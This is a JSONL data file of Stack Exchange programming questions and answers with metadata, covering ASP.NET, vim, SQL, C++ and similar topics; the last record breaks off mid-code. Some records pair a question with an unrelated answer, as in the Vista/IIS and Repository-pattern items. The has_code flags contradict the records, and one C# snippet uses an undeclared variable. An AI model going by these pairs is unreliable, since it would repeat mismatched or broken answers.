{"id": "hf_de28cf090e73", "question": "<p>Migrating a project from ASP.NET 1.1 to ASP.NET 2.0 and I keep hitting this error. </p>\n\n<p>I don't actually need Global because I am not adding anything to it, but after I remove it I get more errors.</p>\n", "question_body": "", "answer": "There are a few things you can try with this, seems to happen alot and the solution varies for everyone it seems.\nIf you are still using the IIS virtual directory make sure its pointed to the correct directory and also check the ASP.NET version it is set to, make sure it is set to ASP.NET 2.0.\nClear out your bin/debug/obj all of them. Do a\nClean solution\nand then a\nBuild Solution\n.\nCheck your project file in a text editor and make sure where its looking for the global file is correct, sometimes it doesnt change the directory.\nRemove the global from the solution and add it back after saving and closing. make sure all the script tags in the ASPX file point to the correct one after.\nYou can try running the\nConvert to Web Application\ntool, that redoes all of the code and project files.\nIIS Express is using the wrong root directory (see answer in\nVS 2012 launching app based on wrong path\n)\nMake sure you close VS after you try them.\nThose are some things I know to try. Hope one of them works for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.140944"}
{"id": "hf_b425033289ae", "question": "<p>how can i create an application to read all my browser (firefox) history?\ni noticed that i have in </p>\n\n<p>C:\\Users\\user.name\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\646vwtnu.default</p>\n\n<p>what looks like  a sqlite database (urlclassifier3.sqlite) but i don't know if its really what is used to store de history information.\ni searched for examples on how to do this but didn't find anything.</p>\n\n<p>ps: although the title is similar i believe this question is not the same as <a href=\"https://stackoverflow.com/questions/48805/how-do-you-access-browser-history\">\"How do you access browser history?\"</a></p>\n", "question_body": "", "answer": "I believe\n```\nplaces.sqlite\n```\nis the one you should be looking into for history (Firefox 3). Below are a couple of Mozilla wiki entries that have some info on the subject.\nMozilla 2: Unified Storage\nBrowser History\n(see especially section \"Database Design\" here)\nIn earlier versions of Firefox they stored history in a file called\n```\nhistory.dat\n```\n, which was encoded in a format called \"Mork\".\nThis perl script by Jamie Zawinski\ncan be used to parse Mork files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.176449"}
{"id": "hf_0c8ca03b780f", "question": "<p>I've been trying to figure out a regex to allow me to search for a particular string while automatically skipping comments.  Anyone have an RE like this or know of one?  It doesn't even need to be sophisticated enough to skip <code>#if 0</code> blocks; I just want it to skip over <code>//</code> and <code>/*</code> blocks.  The converse, that is only search inside comment blocks, would be very useful too. </p>\n\n<p>Environment: VS 2003</p>\n", "question_body": "", "answer": "This is a harder problem than it might at first appear, since you need to consider comment tokens inside strings, comment tokens that are themselves commented out etc.\nI wrote a string and comment parser for C#, let me see if I can dig out something that will help... I'll update if I find anything.\nEDIT:\n... ok, so I found my old 'codemasker' project.  Turns out that I did this in stages, not with a single regex.  Basically I inch through a source file looking for start tokens, when I find one I then look for an end-token and mask everything in between.  This takes into account the context of the start token... if you find a token for \"string start\" then you can safely ignore comment tokens until you find the end of the string, and vice versa. Once the code is masked (I used guids as masks, and a hashtable to keep track) then you can safely do your search and replace, then finally restore the masked code.\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.234800"}
{"id": "hf_b53d28271b00", "question": "<p>We have an ASP.NET application that manages it's own User, Roles and Permission database and we have recently added a field to the User table to hold the Windows domain account.  </p>\n\n<p>I would like to make it so that the user doesn't have to  <strong>physically</strong> log in to our application, but rather would be automatically logged in based on the currently logged in Windows domain account DOMAIN\\username.  We want to authenticate the Windows domain account against our own User table.  </p>\n\n<p>This is a piece of cake to do in Windows Forms, is it possible to do this in Web Forms?</p>\n\n<p>I don't want the user to be prompted with a Windows challenge screen,  I want our system to handle the log in.</p>\n\n<p><strong>Clarification</strong>: We are using our own custom Principal object.</p>\n\n<p><strong>Clarification</strong>: Not sure if it makes a difference or not, but we are using IIS7.</p>\n", "question_body": "", "answer": "```\n```\nusing System.Security.Principal;\n...\nWindowsPrincipal wp = (WindowsPrincipal)HttpContext.Current.User;\n```\n```\nto get the current domain user. Of course you have to make sure that the IIS is set up to handle Windows Authentication.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.258343"}
{"id": "hf_baf730bb65bb", "question": "<p>Are there any free tools available to view the contents of the solution user options file (the .suo file that accompanies solution files)?</p>\n\n<p>I know it's basically formatted as a file system within the file, but I'd like to be able to view the contents so that I can figure out which aspects of my solution and customizations are causing it grow very large over time.</p>\n", "question_body": "", "answer": "I don't know any tool, but you can try to access user settings via\nIVsPersistSolutionOpts\ninterface", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.282071"}
{"id": "hf_f0c26b82df7e", "question": "<p>Say I have a linked list of numbers of length <code>N</code>. <code>N</code> is very large and I don’t know in advance the exact value of <code>N</code>. </p>\n\n<p>How can I most efficiently write a function that will return <code>k</code> completely <em>random numbers</em> from the list?</p>\n", "question_body": "", "answer": "I would suggest: First find your k random numbers. Sort them. Then traverse both the linked list and your random numbers once.\nIf you somehow don't know the length of your linked list (how?), then you could grab the first k into an array, then for node r, generate a random number in [0, r), and if that is less than k, replace the rth item of the array. (Not entirely convinced that doesn't bias...)\nOther than that: \"If I were you, I wouldn't be starting from here.\" Are you sure linked list is right for your problem? Is there not a better data structure, such as a good old flat array list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.305295"}
{"id": "hf_6dadcab3b521", "question": "<p>I'm looking at a new computer which will probably have vista on it.  But there are so many editions of vista; are there any weird restrictions on what you can run on the various editions?  For instance you couldn't run IIS on Windows ME.  Can you still run IIS on the home editions of vista?  </p>\n", "question_body": "", "answer": "I would suggest: First find your k random numbers. Sort them. Then traverse both the linked list and your random numbers once.\nIf you somehow don't know the length of your linked list (how?), then you could grab the first k into an array, then for node r, generate a random number in [0, r), and if that is less than k, replace the rth item of the array. (Not entirely convinced that doesn't bias...)\nOther than that: \"If I were you, I wouldn't be starting from here.\" Are you sure linked list is right for your problem? Is there not a better data structure, such as a good old flat array list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.328874"}
{"id": "hf_e4281c75ecd5", "question": "<p>Surprisingly as you get good at vim, you can code even faster than standard IDEs such as Eclipse. But one thing I really miss is code completion, especially for long variable names and functions.</p>\n\n<p>Is there any way to enable code completion for Perl in vim?</p>\n", "question_body": "", "answer": "Ctrl\n-\nP\n(Get Previous Match) and\nCtrl\n-\nN\n(Get Next Match) are kind of pseudo code completion.  They basically search the file (Backwards for\nCtrl\n-\nP\n, Forwards for\nCtrl\n-\nN\n) you are editing (and any open buffers, and if you are using TAGS anything in your TAG file) for words that start with what you are typing and add a drop down list.  It works surprisingly well for variables and function names, even if it isn't intellisense.  Generally I use\nCtrl\n-\nP\nas the variable or function I am looking for is usually behind in the code.  Also if you keep the same copy of Vim open, it will search the files you have previously opened.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.376705"}
{"id": "hf_933804c9f51c", "question": "<p>Database? Page variables? Enum?</p>\n\n<p>I'm looking for opinions here. </p>\n", "question_body": "", "answer": "IF the menu is dynamic\nper-user\nthen you'll have to hit the database for each user.  From then on I would probably store it in session to avoid future round-trips to the database.\nIf it's dynamic, but the entire site sees the same items, then put it in the database and cache the results", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.403866"}
{"id": "hf_afafea6bc6ad", "question": "<p>How does the comma operator work in C++?</p>\n\n<p>For instance, if I do:</p>\n\n<pre><code>a = b, c;  \n</code></pre>\n\n<p>Does a end up equaling b or c? </p>\n\n<p>(Yes, I know this is easy to test - just documenting on here for someone to find the answer quickly.)</p>\n\n<p><strong>Update:</strong>  This question has exposed a nuance when using the comma operator.  Just to document this:</p>\n\n<pre><code>a = b, c;    // a is set to the value of b!\n\na = (b, c);  // a is set to the value of c!\n</code></pre>\n\n<p>This question was actually inspired by a typo in code.  What was intended to be</p>\n\n<pre><code>a = b;\nc = d;\n</code></pre>\n\n<p>Turned into</p>\n\n<pre><code>a = b,    //  &lt;-  Note comma typo!\nc = d;\n</code></pre>\n", "question_body": "", "answer": "It would be equal to\n```\nb\n```\n.\nThe comma operator has a lower precedence than assignment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.440076"}
{"id": "hf_25aa5b19cd23", "question": "<p>There is a lot of buzz about <strong>Microsoft Silverlight</strong>, especially after the Olympics. Also <code>H264</code> will be supported in a future version. Where do you think Silverlight will be 1 year from now?</p>\n", "question_body": "", "answer": "100% more.\n(so about 4 people)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.475743"}
{"id": "hf_c602f2197fa3", "question": "<p>How to implement Repository pattern withe LinqToEntities\nhow to implement the interface </p>\n", "question_body": "", "answer": "No, they aren't (or at least you can't assume they are). Having said that, there are some tricks to do this atomically, but they typically aren't portable (see\nCompare-and-swap\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.535471"}
{"id": "hf_8a3cc9c0aabe", "question": "<p>I am developing a web app which requires a username and password to be stored in the web.Config, it also refers to some URLs which will be requested by the web app itself and never the client.</p>\n\n<p>I know the .Net framework will not allow a web.config file to be served, however I still think its bad practice to leave this sort of information in plain text.  </p>\n\n<p>Everything I have read so far requires me to use a command line switch or to store values in the registry of the server.  I have access to neither of these as the host is online and I have only FTP and Control Panel (helm) access.</p>\n\n<p>Can anyone recommend any good, free encryption DLL's or methods which I can use?  I'd rather not develop my own!</p>\n\n<p>Thanks for the feedback so far guys but I am not able to issue commands and and not able to edit the registry.  Its going to have to be an encryption util/helper but just wondering which one!</p>\n", "question_body": "", "answer": "Encrypting and Decrypting Configuration Sections\n(ASP.NET) on MSDN\nEncrypting Web.Config Values in ASP.NET 2.0\non ScottGu's\nblog\nEncrypting Custom Configuration Sections\non K. Scott Allen's\nblog\nEDIT:\nIf you can't use asp utility, you can encrypt config file using\nSectionInformation.ProtectSection\nmethod.\nSample on codeproject:\nEncryption of Connection Strings inside the Web.config in ASP.Net 2.0", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.559747"}
{"id": "hf_9a035829fb22", "question": "<p>I have an asp.net url path which is being generated in a web form, and is coming out something like \"/foo/bar/../bar/path.aspx\", and is coming out in the generated html like this too. It should be shortened to \"/foo/bar/path.aspx\". </p>\n\n<p>Path.Combine didn't fix it. Is there a function to clean this path up? </p>\n", "question_body": "", "answer": "You could create a helper class which wrapped the UriBuilder class in System.Net\n```\n```\npublic static class UriHelper\n{       \n    public static string NormalizeRelativePath(string path)\n    {\n        UriBuilder _builder = new UriBuilder(\"http://localhost\");\n        builder.Path = path;\n        return builder.Uri.AbsolutePath;\n    }\n}\n```\n```\nwhich could then be used like this:\n```\n```\nstring url = \"foo/bar/../bar/path.aspx\";\nConsole.WriteLine(UriHelper.NormalizeRelativePath(url));\n```\n```\nIt is a bit hacky but it would work for the specific example you gave.\nEDIT: Updated to reflect Andrew's comments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.649318"}
{"id": "hf_564db654d208", "question": "<p>Using Vim I often want to replace a block of code with a block that I just yanked.</p>\n\n<p>But when I delete the block of code that is to be replaced, that block itself goes into the register which erases the block I just yanked. So I've got in the habit of yanking, then inserting, then deleting what I didn't want, but with large blocks of code this gets messy trying to keep the inserted block and the block to delete separate.</p>\n\n<p>So what is the slickest and quickest way to replace text in Vim?</p>\n\n<ul>\n<li>is there a way to delete text without putting it into the register?</li>\n<li>is there a way to say e.g. \"replace next word\" or \"replace up to next paragraph\"</li>\n<li>or is the best way to somehow use the multi-register feature?</li>\n</ul>\n", "question_body": "", "answer": "Well, first do this command:\n```\n```\n:h d\n```\n```\nThen you will realize that you can delete into a specific register. That way you won't alter what is in your default register.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.685000"}
{"id": "hf_6854558a75b0", "question": "<p>Let's say you work someplace where every change to source code must be associated with a bug-report or feature-request, and there is no way to get that policy reformed.  In such an environment, what is the best way to deal with code refactorings (that is, changes that improve the code but do not fix a bug or add a feature)?</p>\n\n<ul>\n<li>Write up a bug-report and associate the refactoring with it.</li>\n<li>Write up a feature-request and associate the refactoring with it.</li>\n<li>Sneak in the refactorings while working on code that is associated with a bug-report/feature-request.</li>\n<li>Just don't do any refactoring.</li>\n<li>Other</li>\n</ul>\n\n<p>Note that all bug reports and feature descriptions will be visible to managers and customers.</p>\n", "question_body": "", "answer": "I vote for the \"sneak in refactorings\" approach, which is, I believe, the way refactoring is meant to be done in the first place.  It's probably a bad idea to refactor just for the sake of \"cleaning up the code.\"  This means that you're making changes for no real reason.  Refactoring is, by definition, modifying the without the intent of fixing bugs or adding features.  If you're following the KISS principle, any new feature is going to need at least some refactoring because you're not really thinking about how to make the most extensible system possible the first time around.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.712262"}
{"id": "hf_2789e5a6a5e2", "question": "<p>Sure, we can use a simple bulleted list or a mindmap.  But, there must be a better, more interactive way.  What do you use when starting your website architecture?</p>\n", "question_body": "", "answer": "By \"architecture\", do you mean the initial site map? If not, please post a clarification and I'll edit my response.\nOur tech team starts development after our creative department has done their stuff. Part of what we get is output from the information architect. He passes off a graphical sitemap, a detailed sitemap as an Excel sheet, and a set of wireframes in a PDF.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.735502"}
{"id": "hf_435076e97ce4", "question": "<p>The following SQL:</p>\n\n<pre><code>SELECT notes + 'SomeText'\nFROM NotesTable a \n</code></pre>\n\n<p>Give the error:</p>\n\n<blockquote>\n  <p>The data types nvarchar and text are incompatible in the add operator.</p>\n</blockquote>\n", "question_body": "", "answer": "The only way would be to convert your text field into an nvarchar field.\n```\n```\nSelect Cast(notes as nvarchar(4000)) + 'SomeText'\nFrom NotesTable a\n```\n```\nOtherwise, I suggest doing the concatenation in your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.794696"}
{"id": "hf_d7a9ffaff505", "question": "<p>We have an ASP.NET application running at a customer site that uses ActiveDirectory for user login via the ActiveDirectoryMembershipProvider. Their primary domain controller that we were pointing to went down this morning, and in getting everything set back up the client was wondering if we could have a redundant connection to two domain controllers; i.e. specifying a primary and a backup AD server. A Google search proved fruitless - does anyone know if this can be done?</p>\n", "question_body": "", "answer": "It can be done, it will just take some work.\nYou will need to create a class that inherits off of the ActiveDirectoryMemberhsipProvider and use it has your provider instead.  That way you can maintain most of the functionality.  Then setup a way to specify two connectionStringName properties, one for primary and one for secondary.  You will also need to create the code to read the information from the config since you are changing it.  Then just override the methods where you need to catch when the primary is down and switch to the secondary.  This will be the most reusable way of doing it.\nThere's probably other ways of doing it, but it will probably be hacky and not very reusable.  Like testing the connection before each request and then setting the connectionstring that way.\nBased on the\nMSDN documentation\non the class, this will probably be the only way to do it.  They don't provide the functionality internal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.830732"}
{"id": "hf_8aa4e3af605b", "question": "<p>I have a set of calculation methods sitting in a .Net DLL.  I would like to make those methods available to Excel (2003+) users so they can use them in their spreadsheets.</p>\n\n<p>For example, my .net method:</p>\n\n<pre><code>public double CalculateSomethingReallyComplex(double a, double b) {...}\n</code></pre>\n\n<p>I would like enable them to call this method just by typing a formula in a random cell:</p>\n\n<pre><code>=CalculateSomethingReallyComplex(A1, B1)\n</code></pre>\n\n<p>What would be the best way to accomplish this?</p>\n", "question_body": "", "answer": "There are two methods - you can used Visual Studio Tools for Office (VSTO):\nhttp://blogs.msdn.com/pstubbs/archive/2004/12/31/344964.aspx\nor you can use COM:\nhttp://blogs.msdn.com/eric_carter/archive/2004/12/01/273127.aspx\nI'm not sure if the VSTO method would work in older versions of Excel, but the COM method should work fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.878633"}
{"id": "hf_8fcbf4b1a6c1", "question": "<p>As I develop more with vim, I find myself wanting to copy in blocks of useful code, similar to \"templates\" in Eclipse. </p>\n\n<p>I was thinking of making a separate file for each code chunk and just reading them in with</p>\n\n<pre><code>:r code-fornext\n</code></pre>\n\n<p>but that just seems kind of primitive. Googling around I find vim macros mentioned and something about \"maps\" but nothing that seems straightforward.</p>\n\n<p>What I am looking for are e.g. something like Eclipse's \"Templates\" so I pop in a code chunk with the cursor sitting in the middle of it.\nOr JEdit's \"Macros\" which I can record doing complicated deletes and renaming on one line, then I can play it again on 10 other lines so it does the same to them.</p>\n\n<p>Does vim have anything like these two functionalities?</p>\n", "question_body": "", "answer": "To record macros in Vim, in the command mode, hit the\n```\nq\n```\nkey and another key you want to assign the macro to. For quick throw away macros I usually just hit\n```\nqq\n```\nand assign the macro to the\n```\nq\n```\nkey. Once you are in recording mode, run through your key strokes. When you are done make sure you are back in command mode and hit\n```\nq\n```\nagain to stop recording. Then to replay the macro manually, you can type\n```\n@q\n```\n. To replay the previously run macro you can type\n```\n@@\n```\nor to run it 10 times you could type\n```\n10@q\n```\nor\n```\n20@q\n```\n, etc..\nIn summary:\n```\n```\n+----------------------------------+-------------------------------------+\n| start recording a macro          | qX (X = key to assign macro to)     |\n+----------------------------------+-------------------------------------+\n| stop recording a macro           | q                                   |  \n+----------------------------------+-------------------------------------+\n| playback macro                   | @X (X = key macro was assigned to)  |\n+----------------------------------+-------------------------------------+\n| replay previously played macro   | @@                                  |\n+----------------------------------+-------------------------------------+\n```\n```\nIn regards to code chunks, I have found and started using a Vim plug-in called snipMate, which mimics TextMate's snippets feature. You can get the plug-in here:\nhttp://www.vim.org/scripts/script.php?script_id=2540\nAnd a short article on using snipMate (along with a short screencast showing it in use):\nhttp://www.catonmat.net/blog/vim-plugins-snipmate-vim/\nHope you find this helpful!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.902156"}
{"id": "hf_0c1f8502717f", "question": "<p>I need to retrieve all rows from a table where 2 columns combined are all different. So I want all the sales that do not have any other sales that happened on the same day for the same price. The sales that are unique based on day and price will get updated to an active status.</p>\n\n<p>So I'm thinking:</p>\n\n<pre><code>UPDATE sales\nSET status = 'ACTIVE'\nWHERE id IN (SELECT DISTINCT (saleprice, saledate), id, count(id)\n             FROM sales\n             HAVING count = 1)\n</code></pre>\n\n<p>But my brain hurts going any farther than that.</p>\n", "question_body": "", "answer": "```\n```\nSELECT DISTINCT a,b,c FROM t\n```\n```\nis\nroughly\nequivalent to:\n```\n```\nSELECT a,b,c FROM t GROUP BY a,b,c\n```\n```\nIt's a good idea to get used to the GROUP BY syntax, as it's more powerful.\nFor your query, I'd do it like this:\n```\n```\nUPDATE sales\nSET status='ACTIVE'\nWHERE id IN\n(\n    SELECT id\n    FROM sales S\n    INNER JOIN\n    (\n        SELECT saleprice, saledate\n        FROM sales\n        GROUP BY saleprice, saledate\n        HAVING COUNT(*) = 1 \n    ) T\n    ON S.saleprice=T.saleprice AND s.saledate=T.saledate\n )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.926364"}
{"id": "hf_06bd2d50cfc0", "question": "<p>If you are writing a program that is executable from the command line, you often want to offer the user several options or flags, along with possibly more than one argument. I have stumbled my way through this many times, but is there some sort of design pattern for looping through args and calling the appropriate handler functions?</p>\n\n<p>Consider:</p>\n\n<pre><code>myprogram -f filename -d directory -r regex\n</code></pre>\n\n<p>How do you organize the handler functions after you retrieve the arguments using whatever built-ins for your language? (language-specific answers welcomed, if that helps you articulate an answer)</p>\n", "question_body": "", "answer": "I don't know of any documented \"patterns\" for processing.\nI believe one of the oldest libraries/APIs for handling arguments is getopt.  Googling \"getopt\" shows lots of man pages and links to implementations.\nGenerally, I have a preferences or settings service in my application that the argument processor knows how to communicate with.  Arguments are then translated into something in this service that the application than then query.  This could be as simple as a dictionary of settings (like a string setting named \"filename\").", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.961122"}
{"id": "hf_14bc95c7970e", "question": "<p>Like the Delicious submission bookmark-let, I'd like to have some standard JavaScript I can use to submit any visited URL to a 3rd party site when that's possible by URL.  Suggestions?</p>\n\n<p>For example, I've been using </p>\n\n<pre><code>javascript:void(location.href=\"http://www.yacktrack.com/home?query=\"+encodeURI(location.href)) \n</code></pre>\n\n<p>so far but wonder if there's something more sophisticated I could use or better practice.</p>\n", "question_body": "", "answer": "```\n```\ndocument.location = \"http://url_submitting_to.com?query_string_param=\" + window.location;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.984930"}
{"id": "hf_38ce00356065", "question": "<p>I need to enumerate all the user defined types created in a <code>SQL Server</code> database with <code>CREATE TYPE</code>, and/or find out whether they have already been defined.</p>\n\n<p>With tables or stored procedures I'd do something like this:</p>\n\n<pre><code>if exists (select * from dbo.sysobjects where name='foobar' and xtype='U')\n    drop table foobar\n</code></pre>\n\n<p>However I can't find the equivalent (or a suitable alternative) for user defined types! I definitely can't see them anywhere in <code>sysobjects</code>. </p>\n\n<p>Can anyone enlighten me?</p>\n", "question_body": "", "answer": "Types and UDTs don't appear in sys.objects.\nYou should be able to get what you're looking for with the following:\n```\n```\nselect * from sys.types\nwhere is_user_defined = 1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.031393"}
{"id": "hf_69f45979d9cf", "question": "<p>How can I format Floats in Java so that the float component is displayed only if it's not zero? For example:</p>\n\n<pre>\n123.45 -> 123.45\n99.0   -> 99\n23.2   -> 23.2\n45.0   -> 45\n</pre>\n\n<p>Edit: I forgot to mention - I'm still on Java 1.4 - sorry!</p>\n", "question_body": "", "answer": "If you use\nDecimalFormat\nand specify # in the pattern it only displays the value if it is not zero.\nSee my question\nHow do I format a number in java?\nSample Code\n```\n```\nDecimalFormat format = new DecimalFormat(\"###.##\");\n\n    double[] doubles = {123.45, 99.0, 23.2, 45.0};\n    for(int i=0;i<doubles.length;i++){\n        System.out.println(format.format(doubles[i]));\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.054803"}
{"id": "hf_3e7908134713", "question": "<p>Alright, so I'm working on an application which will use a Linux back-end running PostgreSQL to serve up images to a Windows box with the front end written in C#.NET, though the front-end should hardly matter.  My question is:</p>\n\n<ul>\n<li><strong>What is the best way to deal with storing images in Postgres?</strong></li>\n</ul>\n\n<p>The images are around 4-6 megapixels each, and we're storing upwards of 3000.  It might also be good to note: this is not a web application, there will at most be about two front-ends accessing the database at once.</p>\n", "question_body": "", "answer": "In the database, there are two options:\nbytea.  Stores the data in a column, exported as part of a backup.  Uses standard database functions to save and retrieve.  Recommended for your needs.\nblobs.  Stores the data externally, not normally exported as part of a backup.  Requires special database functions to save and retrieve.\nI've used bytea columns with great success in the past storing 10+gb of images with thousands of rows.  PG's TOAST functionality pretty much negates any advantage that blobs have.  You'll need to include metadata columns in either case for filename, content-type, dimensions, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:59.078077"}
{"id": "hf_f52ffe6c52ca", "question": "<p>How do I create a windows application that does the following:</p>\n\n<ul>\n<li>it's a regular GUI app when invoked with no command line arguments</li>\n<li>specifying the optional \"--help\" command line argument causes the app to write usage text to stdout then terminate</li>\n<li>it must be a single executable.  No cheating by making a console app exec a 2nd executable.</li>\n<li>assume the main application code is written in C/C++</li>\n<li>bonus points if no GUI window is created when \"--help\" is specified.  (i.e., no flicker from a short-lived window)</li>\n</ul>\n\n<p>In my experience the standard visual studio template for console app has no GUI capability, and the normal win32 template does not send its stdout to the parent cmd shell.</p>\n", "question_body": "", "answer": "Microsoft designed console and GUI apps to be mutually exclusive.\nThis bit of short-sightedness means that there is no perfect solution.\nThe most popular approach is to have two executables (eg. cscript / wscript,\njava / javaw, devenv.com / devenv.exe etc) however you've indicated that you consider this \"cheating\".\nYou've got two options - to make a \"console executable\" or a \"gui executable\",\nand then use code to try to provide the other behaviour.\nGUI executable:\n```\ncmd.exe\n```\nwill assume that your program does no console I/O so won't wait for it to terminate\nbefore continuing, which in interactive mode (ie not a batch) means displaying the next (\"\n```\nC:\\>\n```\n\") prompt\nand reading from the keyboard. So even if you use AttachConsole your output will be mixed\nwith\n```\ncmd\n```\n's output, and the situation gets worse if you try to do input. This is basically a non-starter.\nConsole executable:\nContrary to belief, there is nothing to stop a console executable from displaying a GUI, but there are two problems.\nThe first is that if you run it from the command line with no arguments (so you want the GUI),\n```\ncmd\n```\nwill still wait for it to terminate before continuing, so that particular\nconsole will be unusable for the duration. This can be overcome by launching\na second process of the same executable (do you consider this cheating?), \npassing the DETACHED_PROCESS flag to CreateProcess() and immediately exiting.\nThe new process can then detect that it has no console and display the GUI.\nHere's C code to illustrate this approach:\n```\n```\n#include <stdio.h>\n#include <windows.h>\n\nint main(int argc, char *argv[])\n{\n    if (GetStdHandle(STD_OUTPUT_HANDLE) == 0) // no console, we must be the child process\n    {\n        MessageBox(0, \"Hello GUI world!\", \"\", 0);\n    }\n    else if (argc > 1) // we have command line args\n    {\n        printf(\"Hello console world!\\n\");\n    }\n    else // no command line args but a console - launch child process\n    {\n        DWORD dwCreationFlags = 